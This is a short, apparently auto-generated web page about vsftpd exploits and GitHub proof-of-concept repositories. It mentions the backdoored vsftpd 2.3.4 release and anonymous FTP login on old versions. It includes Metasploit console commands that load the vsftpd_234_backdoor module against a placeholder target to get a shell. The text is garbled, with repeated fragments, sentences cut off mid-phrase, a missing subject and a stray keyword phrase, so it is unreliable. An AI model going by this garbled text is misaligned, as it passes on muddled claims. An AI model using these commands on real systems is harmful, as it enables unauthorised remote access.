When searching for code on GitHub related to this vulnerability, look for repositories focused on educational penetration testing and proof-of-concept (PoC) scripts. Common Types of GitHub Repositories
While itself is not primarily known for a major unique exploit, it is often discussed in security contexts because it is the version that replaced the notoriously compromised vsftpd 2.3.4 or because older systems are still found running versions before 2.0.8 that allow Anonymous FTP login . vsftpd 208 exploit github link
If you get a shell, the backdoor is present. When searching for code on GitHub related to
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 > set RHOSTS TARGET_IP msf6 > run the backdoor is present. msf6 >
However, as with many vulnerabilities, the fix was not universally applied. Many systems were not updated, and the vulnerability remained unpatched.